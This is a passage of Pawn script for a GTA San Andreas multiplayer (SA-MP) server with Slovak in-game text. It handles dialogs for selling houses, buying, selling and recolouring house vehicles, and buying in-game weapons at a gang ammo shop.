                    }
                }
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }

        /////////////////////////////////////////////////////////////////////////////

        else if(dialogid == Dialog_HS_HouseSell)
        {
            if(response ==1 )
            {
                new way[32];
                format(way,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);
                Delete3DTextLabel(House_V[Player[playerid][HouseP]][Text3D]);
                new gdhgfs[64];
                if(Player[playerid][VIP]==0) format(gdhgfs,64,"Predal si svoj dom za %d$ !",HouseStates[Player[playerid][HouseP]][Price]/4*3);
                else                         format(gdhgfs,64,"Predal si svoj dom za %d$ !",HouseStates[Player[playerid][HouseP]][Price]);
                ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Predaj domu",gdhgfs,"OK","Cancel");
                if(Player[playerid][VIP]==0) GivePlayerACMoney(playerid,HouseStates[Player[playerid][HouseP]][Price]/4*3);
                else                          GivePlayerACMoney(playerid,HouseStates[Player[playerid][HouseP]][Price]);
                     if(HouseStates[Player[playerid][HouseP]][IsHouseVIP]==false) House_V[Player[playerid][HouseP]][Text3D] = Create3DTextLabel("[ House ]\nVoľný dom",0xFF0000FF,HouseStates[Player[playerid][HouseP]][E_x],HouseStates[Player[playerid][HouseP]][E_y],HouseStates[Player[playerid][HouseP]][E_z],50,0);
                else if(HouseStates[Player[playerid][HouseP]][IsHouseVIP]==true)  House_V[Player[playerid][HouseP]][Text3D] = Create3DTextLabel("[ VIP House ]\nVoľný dom",0xFF0000FF,HouseStates[Player[playerid][HouseP]][E_x],HouseStates[Player[playerid][HouseP]][E_y],HouseStates[Player[playerid][HouseP]][E_z],50,0);
                dini_IntSet(way,"State",0);
                dini_Set(way,"Majitel","-none-");
                for(new s=0; s<5; s++)
                {
                    new v_id[16]; format(v_id,16,"V%d_id",s);
                    if(dini_Int(way,v_id)!=0)
                    {
                        DestroyVehicleEx(Car[s][Player[playerid][HouseP]]);
                        
                        Car_State[s][Player[playerid][HouseP]]=false;

                        if(CarNeons[s][Player[playerid][HouseP]] == true)
                        {
                            CarNeons[s][Player[playerid][HouseP]] = false;
                            DestroyObject(CarNeon1[s][Player[playerid][HouseP]]);
                            DestroyObject(CarNeon2[s][Player[playerid][HouseP]]);
                        }
                    }
                    dini_IntSet(way,v_id,0);

                    new v_name[16]; format(v_name,16,"V%d_name",s);
                    dini_Set(way,v_name,"-none-");
                    new v_sell[16]; format(v_sell,16,"V%d_sell",s);
                    dini_IntSet(way,v_sell,0);
                    new v_neons[16]; format(v_neons,16,"V%d_neons",s);
                    dini_IntSet(way,v_neons,0);
                    new v_wheels[16]; format(v_wheels,16,"V%d_wheels",s);
                    dini_IntSet(way,v_wheels,0);
                    new v_spoiler[16]; format(v_spoiler,16,"V%d_spoiler",s);
                    dini_IntSet(way,v_spoiler,0);
                    new v_pn[16]; format(v_pn,16,"V%d_pn",s);
                    dini_IntSet(way,v_pn,0);
                    new v_pj[16]; format(v_pj,16,"V%d_pj", s);
                    dini_IntSet(way,v_pj,9999);
                    new v_snL[16]; format(v_snL,16,"V%d_snL",s);
                    dini_IntSet(way,v_snL,0);
                    new v_snR[16]; format(v_snR,16,"V%d_snR",s);
                    dini_IntSet(way,v_snR,0);
                    new v_zn[16]; format(v_zn,16,"V%d_zn",s);
                    dini_IntSet(way,v_zn,0);
                    new v_exhaust[16]; format(v_exhaust,16,"V%d_exhaust",s);
                    dini_IntSet(way,v_exhaust,0);
                    new v_nitro[16]; format(v_nitro,16,"V%d_nitro",s);
                    dini_IntSet(way,v_nitro,0);
                    new v_hyd[16]; format(v_hyd,16,"V%d_hyd",s);
                    dini_IntSet(way,v_hyd,0);
                    new v_roof[16]; format(v_roof,16,"V%d_roof",s);
                    dini_IntSet(way,v_roof,0);
                    new v_color1[16]; format(v_color1,16,"V%d_color1",s);
                    dini_IntSet(way,v_color1,0);
                    new v_color2[16]; format(v_color2,16,"V%d_color2",s);
                    dini_IntSet(way,v_color2,0);
                }
                House_V[Player[playerid][HouseP]][State]=0;
                House_V[Player[playerid][HouseP]][Lock]=0;
                Player[playerid][IPIP]=false;
                Player[playerid][HouseP]=9999;
            }
            if(response == 0) Player[playerid][IPIP]=false;
        }
        /////////////////////////////////////////////////////////////////////////////
        /////////////////////////////////////////////////////////////////////////////
        /////////////////////////////////////////////////////////////////////////////
        /////////////////////////////////////////////////////////////////////////////
        /////////////////////////////////////////////////////////////////////////////
        /////////////////////////////////////////////////////////////////////////////
        /////////////////////////////////////////////////////////////////////////////
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_HS_V_Slot)
        {
            if(response == 1)
            {
                Player[playerid][HouseVehicleType] = listitem;
                
                new Text1[64];
                new way[32];
                new v_name[16];
                
                format(v_name,16,"V%d_name",listitem);
                format(way,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);
                format(Text1,64,"Vehicle: %s",dini_Get(way,v_name));
                
                ShowPlayerDialog(playerid,Dialog_HS_V_VehM,DIALOG_STYLE_LIST,Text1,"Kupiť nové vozidlo\nPozicia vozidla\nPredať vozidlo (75% z ceny)\nPrefarbiť vozidlo\nRespawn","Ďalej","Cancel");
            }
            if(response == 0) Player[playerid][IPIP]=false;
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_HS_V_VehM)
        {
            if(response == 1)
            {
                new V_id[32];
                format(V_id,32,"V%d_id",Player[playerid][HouseVehicleType]);
                
                if(listitem == 0)
                {
                    new str_01[32];
                    format(str_01,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);

                    if(dini_Int(str_01,V_id)!=0)
                    {
                        SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nejprv musíš predať svoje staré vozidlo !");
                        Player[playerid][IPIP]=false;
                    }
                    else ShowPlayerDialog(playerid,Dialog_HS_V_Menu,DIALOG_STYLE_LIST,"Vyber si typ vozidla","Auto\nMotorka","Ďalej","Cancel");
                }
                if(listitem == 1)
                {
                    SetTimerEx("IsPlayerInPickupFalse",1000,0,"i",playerid);
                    new way2[32];
                    format(way2,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);
                    if(dini_Int(way2,V_id)==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemôže zistiť poziciu svojeho vozidla keď žiadne vozidlo nemáš !");
                    else
                    {
                        new Float:vX, Float:vY, Float:vZ;
                        GetVehiclePos(Car[Player[playerid][HouseVehicleType]][Player[playerid][HouseP]],vX,vY,vZ);
                        SetPlayerCameraPos(playerid,vX,vY,vZ+100);
                        SetPlayerCameraLookAt(playerid,vX,vY,vZ);
                        
                        SavePlayerLastStats(playerid);
                        SetPlayerPos(playerid, vX, vY, -40);
                        
                        TogglePlayerControllable(playerid,0);
                        
                        new GMtext[64];
                        new GameZone[MAX_ZONE_NAME];
                        GetVehicle2DZone(Car[Player[playerid][HouseVehicleType]][Player[playerid][HouseP]],GameZone,MAX_ZONE_NAME);
                        format(GMtext,64,"~n~~n~~n~~n~~n~~w~Vehicle Position~n~~g~%s",GameZone);
                        GameTextForPlayer(playerid,GMtext,3000,5);
                        
                        Player[playerid][IPIP]=true;
                        
                        SetTimerEx("IsPlayerInPickupFalse",6000,0,"i",playerid);
                        SetTimerEx("PlayerCameraBack",5000,0,"i",playerid);
                        SetTimerEx("LoadPlayerLastStats",5000,0,"i",playerid);
                    }
                }
                if(listitem == 2)
                {
                    Player[playerid][IPIP]=false;
                    
                    new way[32];
                    format(way,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);
                    
                    if(dini_Int(way,V_id)==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš kupené žiadne vozidlo !");
                    else
                    {
                        DestroyVehicleEx(Car[Player[playerid][HouseVehicleType]][Player[playerid][HouseP]]);
                        new str_00[128];
                        new v_sell_a[16]; format(v_sell_a,16,"V%d_sell",Player[playerid][HouseVehicleType]);
                        format(str_00,128,"~w~Predal si svoje vozidlo za~n~~y~%d$" ,dini_Int(way, v_sell_a));
                        FormatPlayerInfoBox(playerid, "~g~House", str_00, 2500);
                        
                        GivePlayerACMoney(playerid,dini_Int(way,v_sell_a));
                        
                        Player[playerid][IPIP]=true;
                        SetTimerEx("IsPlayerInPickupFalse", 2750, 0, "i", playerid);
                        
                        Car_State[Player[playerid][HouseVehicleType]][Player[playerid][HouseP]]=false;

                        if(CarNeons[Player[playerid][HouseVehicleType]][Player[playerid][HouseP]] == true)
                        {
                            DestroyObject(CarNeon1[Player[playerid][HouseVehicleType]][Player[playerid][HouseP]]);
                            DestroyObject(CarNeon2[Player[playerid][HouseVehicleType]][Player[playerid][HouseP]]);
                            CarNeons[Player[playerid][HouseVehicleType]][Player[playerid][HouseP]]=false;
                        }

                        new v_id[16]; format(v_id,16,"V%d_id",Player[playerid][HouseVehicleType]);
                        dini_IntSet(way,v_id,0);
                        new v_name[16]; format(v_name,16,"V%d_name",Player[playerid][HouseVehicleType]);
                        dini_Set(way,v_name,"-none-");
                        new v_sell[16]; format(v_sell,16,"V%d_sell",Player[playerid][HouseVehicleType]);
                        dini_IntSet(way,v_sell,0);
                        new v_neons[16]; format(v_neons,16,"V%d_neons",Player[playerid][HouseVehicleType]);
                        dini_IntSet(way,v_neons,0);
                        new v_wheels[16]; format(v_wheels,16,"V%d_wheels",Player[playerid][HouseVehicleType]);
                        dini_IntSet(way,v_wheels,0);
                        new v_spoiler[16]; format(v_spoiler,16,"V%d_spoiler",Player[playerid][HouseVehicleType]);
                        dini_IntSet(way,v_spoiler,0);
                        new v_pn[16]; format(v_pn,16,"V%d_pn",Player[playerid][HouseVehicleType]);
                        dini_IntSet(way,v_pn,0);
                        new v_pj[16]; format(v_pj,16,"V%d_pj", Player[playerid][HouseVehicleType]);
                        dini_IntSet(way,v_pj,9999);
                        new v_snL[16]; format(v_snL,16,"V%d_snL",Player[playerid][HouseVehicleType]);
                        dini_IntSet(way,v_snL,0);
                        new v_snR[16]; format(v_snR,16,"V%d_snR",Player[playerid][HouseVehicleType]);
                        dini_IntSet(way,v_snR,0);
                        new v_zn[16]; format(v_zn,16,"V%d_zn",Player[playerid][HouseVehicleType]);
                        dini_IntSet(way,v_zn,0);
                        new v_exhaust[16]; format(v_exhaust,16,"V%d_exhaust",Player[playerid][HouseVehicleType]);
                        dini_IntSet(way,v_exhaust,0);
                        new v_nitro[16]; format(v_nitro,16,"V%d_nitro",Player[playerid][HouseVehicleType]);
                        dini_IntSet(way,v_nitro,0);
                        new v_hyd[16]; format(v_hyd,16,"V%d_hyd",Player[playerid][HouseVehicleType]);
                        dini_IntSet(way,v_hyd,0);
                        new v_roof[16]; format(v_roof,16,"V%d_roof",Player[playerid][HouseVehicleType]);
                        dini_IntSet(way,v_roof,0);
                        new v_color1[16]; format(v_color1,16,"V%d_color1",Player[playerid][HouseVehicleType]);
                        dini_IntSet(way,v_color1,0);
                        new v_color2[16]; format(v_color2,16,"V%d_color2",Player[playerid][HouseVehicleType]);
                        dini_IntSet(way,v_color2,0);
                    }
                }
                if(listitem == 3) ShowPlayerDialog(playerid,Dialog_HS_V_Color,DIALOG_STYLE_LIST,"Prefarbenie vozidla (1000$)","Black\nWhite\nBlue\nRed\nSilver\nYellow\nPink\nGreen","OK","Cancel");
                if(listitem == 4)
                {
                    Player[playerid][IPIP]=false;
                    new str_01[32];
                    format(str_01,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);

                    if(dini_Int(str_01,V_id)==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš kupené žiadne vozidlo !");
                    else
                    {
                        new type = Player[playerid][HouseVehicleType];
                        new house = Player[playerid][HouseP];
                        new vehicleid = Car[type][house];

                        Player[playerid][IPIP]=true;
                        ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Respawn vozidla","Respawnul si si vozidlo.\nTeráz máš svoje vozidlo naspäť u domu.","OK","Cancel");

                        HV_x2[type][house] = HV_x[type][house];
                        HV_y2[type][house] = HV_y[type][house];
                        HV_z2[type][house] = HV_z[type][house];
                        HV_a2[type][house] = HV_a[type][house];

                        SetVehicleToRespawn(vehicleid);
                        SetVehicleVirtualWorld(vehicleid, 0);
                    }
                }
            }
            if(response == 0) Player[playerid][IPIP]=false;
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_HS_V_Color)
        {
            if(response == 1)
            {
                new v_color1[32];
                format(v_color1,32,"V%d_color1",Player[playerid][HouseVehicleType]);
                new v_color2[32];
                format(v_color2,32,"V%d_color2",Player[playerid][HouseVehicleType]);
                new way[32];
                format(way,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);
                new v_id[16];
                format(v_id,16,"V%d_id",Player[playerid][HouseVehicleType]);

                Player[playerid][IPIP]=false;

                     if(dini_Int(way,v_id) == 0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemôžeš si prefarbiť vozidlo pretože ho nemáš !");
                else if(GetPlayerACMoney(playerid) < 1000) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok peňazi (1000$) !");
                else
                {
                    if(listitem == 0) { ChangeVehicleColor(Car[Player[playerid][HouseVehicleType]][Player[playerid][HouseP]],0,0); dini_IntSet(way,v_color1,0); dini_IntSet(way,v_color2,0); }
                    if(listitem == 1) { ChangeVehicleColor(Car[Player[playerid][HouseVehicleType]][Player[playerid][HouseP]],1,1); dini_IntSet(way,v_color1,1); dini_IntSet(way,v_color2,1); }
                    if(listitem == 2) { ChangeVehicleColor(Car[Player[playerid][HouseVehicleType]][Player[playerid][HouseP]],2,2); dini_IntSet(way,v_color1,2); dini_IntSet(way,v_color2,2); }
                    if(listitem == 3) { ChangeVehicleColor(Car[Player[playerid][HouseVehicleType]][Player[playerid][HouseP]],3,3); dini_IntSet(way,v_color1,3); dini_IntSet(way,v_color2,3); }
                    if(listitem == 4) { ChangeVehicleColor(Car[Player[playerid][HouseVehicleType]][Player[playerid][HouseP]],8,8); dini_IntSet(way,v_color1,8); dini_IntSet(way,v_color2,8); }
                    if(listitem == 5) { ChangeVehicleColor(Car[Player[playerid][HouseVehicleType]][Player[playerid][HouseP]],6,6); dini_IntSet(way,v_color1,6); dini_IntSet(way,v_color2,6); }
                    if(listitem == 6) { ChangeVehicleColor(Car[Player[playerid][HouseVehicleType]][Player[playerid][HouseP]],126,126); dini_IntSet(way,v_color1,126); dini_IntSet(way,v_color2,126); }
                    if(listitem == 7) { ChangeVehicleColor(Car[Player[playerid][HouseVehicleType]][Player[playerid][HouseP]],86,86); dini_IntSet(way,v_color1,86); dini_IntSet(way,v_color2,86); }

                    GivePlayerACMoney(playerid,-1000);
                    Player[playerid][IPIP]=true;
                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Prefarbil si si vozidlo !","OK","Cancel");
                }
            }
            if(response == 0)
            {
                Player[playerid][IPIP]=false;
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_HS_V_Menu)
        {
            if(response == 1)
            {
                if(listitem == 0)  ShowPlayerDialog(playerid,Dialog_HS_V_Cars,DIALOG_STYLE_LIST,"Vyber si typ vozidla","Road\nLowrider\nTruck\nSport\nSpecial\nVIP","Ďalej","Cancel");
                if(listitem == 1)  ShowPlayerDialog(playerid,Dialog_HS_V_Moto,DIALOG_STYLE_LIST,"Vyber si svoju novu motorku","Faggio (30000$)\nWayfarer (55000$)\nFreeway (80000$)\nSanchez (85000$)\nPCJ-600 (130000$)\nFCR-900 (180000$)\nNRG-500 (250000$)","Kupiť","Cancel");
            }
            if(response == 0) Player[playerid][IPIP]=false;
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_HS_V_Cars)
        {
            if(response == 1)
            {
                if(listitem == 0) ShowPlayerDialog(playerid,Dialog_V_CarsT1,DIALOG_STYLE_LIST,"Car Type - Road","Sentinel (110000$)\nManana (70000$)\nPremier (82000$)\nStallion (145000$)\nRomero (85000$)\nGlenade (90000$)\nGreenwood (100000$)\nVirgo (83500$)","Kupiť","Cancel");
                if(listitem == 1) ShowPlayerDialog(playerid,Dialog_V_CarsT2,DIALOG_STYLE_LIST,"Car Type - Lowriders","Voodoo (95000$)\nEsperanto (120000$)\nSavana (75000$)\nTornado (50000$)","Kupit","Cancel");
                if(listitem == 2) ShowPlayerDialog(playerid,Dialog_V_CarsT3,DIALOG_STYLE_LIST,"Car Type - Trucks","Moonbeam (60000$)\nRancher (86000$)\nMonster (380000$)\nPolice Ranger (200000$)","Kupit","Cancel");
                if(listitem == 3) ShowPlayerDialog(playerid,Dialog_V_CarsT4,DIALOG_STYLE_LIST,"Car Type - Sport","Infernus (400000$)\nBanshee (265000$)\nTurismo (360000$)\nZR-350 (240000$)\nComet (260000$)\nHotring Racer (400000$)\nSuper GT (300000$)\nSlamvan (165000$)\nBullet (250000$)\nSunrise (170000$)\nSultan (275000$)\nElegy (275000$)\nEuros (250000$)\nClub (180000$)\nAlpha (230000$)\nJester (275000$)\nPhoenix (250000$)\nUranus (275000$)\nFlash (275000$)","Koupit","Cancel");
                if(listitem == 4) ShowPlayerDialog(playerid,Dialog_V_CarsT5,DIALOG_STYLE_LIST,"Car Type - Special","Ambulance (140000$)\nRhino (890000$)\nJourney (190000$)\nCement Truck (240000$)\nCombine (280000$)\nSweeper (145000$)\nSWAT Tank (320000$)\nTractor (80000$)\nLimuzína (200000$)","Kupit","Cancel");
                if(listitem == 5)
                {
                    if(Player[playerid][VIP]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si VIP Člen !");
                    else ShowPlayerDialog(playerid,Dialog_V_CarsT6,DIALOG_STYLE_LIST,"Car Type - VIP","Taxi (60000$)\nRC Bandit (45000$)\nPatriot (80000$)\nQuad (60000$)\nMaverick (200000$)\nSandking (75000$)\nMountain Bike (10000$)\nVortex (75000$)","Kupit","Cancel");
                }
            }
            if(response == 0) Player[playerid][IPIP]=false;
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_V_CarsT1)
        {
            if(response == 1)
            {
                new vehicleid;
                if(listitem == 0) vehicleid = 405;
                if(listitem == 1) vehicleid = 410;
                if(listitem == 2) vehicleid = 426;
                if(listitem == 3) vehicleid = 439;
                if(listitem == 4) vehicleid = 442;
                if(listitem == 5) vehicleid = 466;
                if(listitem == 6) vehicleid = 492;
                if(listitem == 7) vehicleid = 491;

                new text[128];
                format(text,128,"Na nákup tohto vozidla potrebuješ %d$ !",GetHouseVehiclePrice(vehicleid));
                if(GetPlayerACMoney(playerid)<GetHouseVehiclePrice(vehicleid)) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box",text,"OK","Cancel");
                else CreateHouseVehicle(Player[playerid][HouseVehicleType],Player[playerid][HouseP],vehicleid,playerid);
            }
            if(response == 0) Player[playerid][IPIP]=false;
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_V_CarsT2)
        {
            if(response == 1)
            {
                new vehicleid;
                if(listitem == 0) vehicleid = 412;
                if(listitem == 1) vehicleid = 419;
                if(listitem == 2) vehicleid = 567;
                if(listitem == 3) vehicleid = 576;

                new text[128];
                format(text,128,"Na nákup tohto vozidla potrebuješ %d$ !",GetHouseVehiclePrice(vehicleid));
                if(GetPlayerACMoney(playerid)<GetHouseVehiclePrice(vehicleid)) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box",text,"OK","Cancel");
                else CreateHouseVehicle(Player[playerid][HouseVehicleType],Player[playerid][HouseP],vehicleid,playerid);
            }
            if(response == 0) Player[playerid][IPIP]=false;
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_V_CarsT3)
        {
            if(response == 1)
            {
                new vehicleid;
                if(listitem == 0) vehicleid = 418;
                if(listitem == 1) vehicleid = 489;
                if(listitem == 2) vehicleid = 444;
                if(listitem == 3) vehicleid = 599;

                new text[128];
                format(text,128,"Na kupení tohto vozidla potrebuješ %d$ !",GetHouseVehiclePrice(vehicleid));
                if(GetPlayerACMoney(playerid)<GetHouseVehiclePrice(vehicleid)) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box",text,"OK","Cancel");
                else CreateHouseVehicle(Player[playerid][HouseVehicleType],Player[playerid][HouseP],vehicleid,playerid);
            }
            if(response == 0) Player[playerid][IPIP]=false;
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_V_CarsT4)
        {
            if(response == 1)
            {
                new vehicleid;
                if(listitem == 0) vehicleid = 411;
                if(listitem == 1) vehicleid = 429;
                if(listitem == 2) vehicleid = 451;
                if(listitem == 3) vehicleid = 477;
                if(listitem == 4) vehicleid = 480;
                if(listitem == 5) vehicleid = 494;
                if(listitem == 6) vehicleid = 506;
                if(listitem == 7) vehicleid = 535;
                if(listitem == 8) vehicleid = 541;
                if(listitem == 9) vehicleid = 550;
                if(listitem == 10) vehicleid = 560;
                if(listitem == 11) vehicleid = 562;
                if(listitem == 12) vehicleid = 587;
                if(listitem == 13) vehicleid = 589;
                if(listitem == 14) vehicleid = 602;
                if(listitem == 15) vehicleid = 559;
                if(listitem == 16) vehicleid = 603;
                if(listitem == 17) vehicleid = 558;
                if(listitem == 18) vehicleid = 565;

                new text[128];
                format(text,128,"Na nákup tohto vozidla potrebuješ %d$ !",GetHouseVehiclePrice(vehicleid));
                if(GetPlayerACMoney(playerid)<GetHouseVehiclePrice(vehicleid)) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box",text,"OK","Cancel");
                else CreateHouseVehicle(Player[playerid][HouseVehicleType],Player[playerid][HouseP],vehicleid,playerid);
            }
            if(response == 0) Player[playerid][IPIP]=false;
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_V_CarsT5)
        {
            if(response == 1)
            {
                new vehicleid;
                if(listitem == 0) vehicleid = 416;
                if(listitem == 1) vehicleid = 432;
                if(listitem == 2) vehicleid = 508;
                if(listitem == 3) vehicleid = 524;
                if(listitem == 4) vehicleid = 532;
                if(listitem == 5) vehicleid = 574;
                if(listitem == 6) vehicleid = 601;
                if(listitem == 7) vehicleid = 572;
                if(listitem == 8) vehicleid = 409;

                new text[128];
                format(text,128,"Na nákup tohto vozidla potrebuješ %d$ !",GetHouseVehiclePrice(vehicleid));
                if(GetPlayerACMoney(playerid)<GetHouseVehiclePrice(vehicleid)) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box",text,"OK","Cancel");
                else CreateHouseVehicle(Player[playerid][HouseVehicleType],Player[playerid][HouseP],vehicleid,playerid);
            }
            if(response == 0) Player[playerid][IPIP]=false;
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_V_CarsT6)
        {
            if(response == 1)
            {
                new vehicleid;
                if(listitem == 0) vehicleid = 438;
                if(listitem == 1) vehicleid = 441;
                if(listitem == 2) vehicleid = 470;
                if(listitem == 3) vehicleid = 471;
                if(listitem == 4) vehicleid = 487;
                if(listitem == 5) vehicleid = 495;
                if(listitem == 6) vehicleid = 510;
                if(listitem == 7) vehicleid = 539;

                new text[128];
                format(text,128,"Na nákup tohto vozidla potrebuješ %d$ !",GetHouseVehiclePrice(vehicleid));
                if(GetPlayerACMoney(playerid)<GetHouseVehiclePrice(vehicleid)) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box",text,"OK","Cancel");
                else CreateHouseVehicle(Player[playerid][HouseVehicleType],Player[playerid][HouseP],vehicleid,playerid);
            }
            if(response == 0) Player[playerid][IPIP]=false;
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_HS_V_Moto)
        {
            if(response == 1)
            {
                new vehicleid;
                if(listitem == 0) vehicleid = 462;
                if(listitem == 1) vehicleid = 586;
                if(listitem == 2) vehicleid = 463;
                if(listitem == 3) vehicleid = 468;
                if(listitem == 4) vehicleid = 461;
                if(listitem == 5) vehicleid = 521;
                if(listitem == 6) vehicleid = 522;

                new text[128];
                format(text,128,"Na nákup tohto vozidla potrebuješ %d$ !",GetHouseVehiclePrice(vehicleid));
                if(GetPlayerACMoney(playerid)<GetHouseVehiclePrice(vehicleid)) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box",text,"OK","Cancel");
                else CreateHouseVehicle(Player[playerid][HouseVehicleType],Player[playerid][HouseP],vehicleid,playerid);
            }
            if(response == 0) Player[playerid][IPIP]=false;
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_GangAmmo)
        {
            if(response == 1)
            {
                if(listitem == 0) // 9mm
                {
                    if(GetPlayerACMoney(playerid)<500) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Na nákup tejto zbrane potrebuješ 500$ !","OK","Cancel");
                    else
                    {
                        GivePlayerACMoney(playerid,-500);
                        GivePlayerWeapon(playerid,22,18);
                    }
                }
                if(listitem == 1) // 9mm+t
                {
                    if(GetPlayerACMoney(playerid)<800) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Na nákup tejto zbrane potrebuješ 800$ !","OK","Cancel");
                    else
                    {
                        GivePlayerACMoney(playerid,-800);
                        GivePlayerWeapon(playerid,23,18);
                    }
                }
                if(listitem == 2) // Desert Eagle
                {
                    if(GetPlayerACMoney(playerid)<1400) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Na nákup tejto zbrane potrebuješ 1400$ !","OK","Cancel");
                    else
                    {
                        GivePlayerACMoney(playerid,-1400);
                        GivePlayerWeapon(playerid,24,10);
                    }
                }
                if(listitem == 3) // Shotgun
                {
                    if(GetPlayerACMoney(playerid)<400) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Na nákup tejto zbrane potrebuješ 400$ !","OK","Cancel");
                    else
                    {
                        GivePlayerACMoney(playerid,-400);
                        GivePlayerWeapon(playerid,25,15);
                    }
                }
                if(listitem == 4) // Sawn-Off
                {
                    if(GetPlayerACMoney(playerid)<800) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Na nákup tejto zbrane potrebuješ 800$ !","OK","Cancel");
                    else
                    {
                        GivePlayerACMoney(playerid,-800);
                        GivePlayerWeapon(playerid,26,16);
                    }
                }
                if(listitem == 5) // Combat Shotgun
                {
                    if(GetPlayerACMoney(playerid)<1100) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Na nákup tejto zbrane potrebuješ 1100$ !","OK","Cancel");
                    else
                    {
                        GivePlayerACMoney(playerid,-1100);
                        GivePlayerWeapon(playerid,27,14);
                    }
                }
                if(listitem == 6) // Tec9
                {
                    if(GetPlayerACMoney(playerid)<500) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Na nákup tejto zbrane potrebuješ 500$ !","OK","Cancel");
                    else
                    {
                        GivePlayerACMoney(playerid,-500);
                        GivePlayerWeapon(playerid,32,100);
                    }
                }
                if(listitem == 7) // Micro SMG
                {
                    if(GetPlayerACMoney(playerid)<800) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Na nákup tejto zbrane potrebuješ 800$ !","OK","Cancel");
                    else
                    {
                        GivePlayerACMoney(playerid,-800);
                        GivePlayerWeapon(playerid,28,100);
                    }
                }
                if(listitem == 8) // Rifle
                {
                    if(GetPlayerACMoney(playerid)<2000) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Na nákup tejto zbrane potrebuješ 2000$ !","OK","Cancel");
                    else
                    {
                        GivePlayerACMoney(playerid,-2000);
                        GivePlayerWeapon(playerid,33,10);
                    }
                }
                if(listitem == 9) // SMG
                {
                    if(GetPlayerACMoney(playerid)<2500) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Na nákup tejto zbrane potrebuješ 2500$ !","OK","Cancel");
                    else
                    {
                        GivePlayerACMoney(playerid,-2500);
                        GivePlayerWeapon(playerid,29,90);
                    }
                }
                if(listitem == 10) // AK-47
                {
                    if(GetPlayerACMoney(playerid)<3500) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Na nákup tejto zbrane potrebuješ 3500$ !","OK","Cancel");
                    else
                    {
                        GivePlayerACMoney(playerid,-3500);
                        GivePlayerWeapon(playerid,30,120);
                    }
                }
                if(listitem == 11) // M4
                {
                    if(GetPlayerACMoney(playerid)<5000) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Na nákup tejto zbrane potrebuješ 5000$ !","OK","Cancel");
                    else
                    {
                        GivePlayerACMoney(playerid,-5000);
                        GivePlayerWeapon(playerid,31,150);
                    }
                }
                if(listitem == 12) // Granat
                {
                    if(GetPlayerACMoney(playerid)<300) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Na nákup tejto zbrane potrebuješ 300$ !","OK","Cancel");
                    else
                    {
                        GivePlayerACMoney(playerid,-300);
                        GivePlayerWeapon(playerid,16,1);
                    }
                }
                if(listitem == 13) // Armour
                {
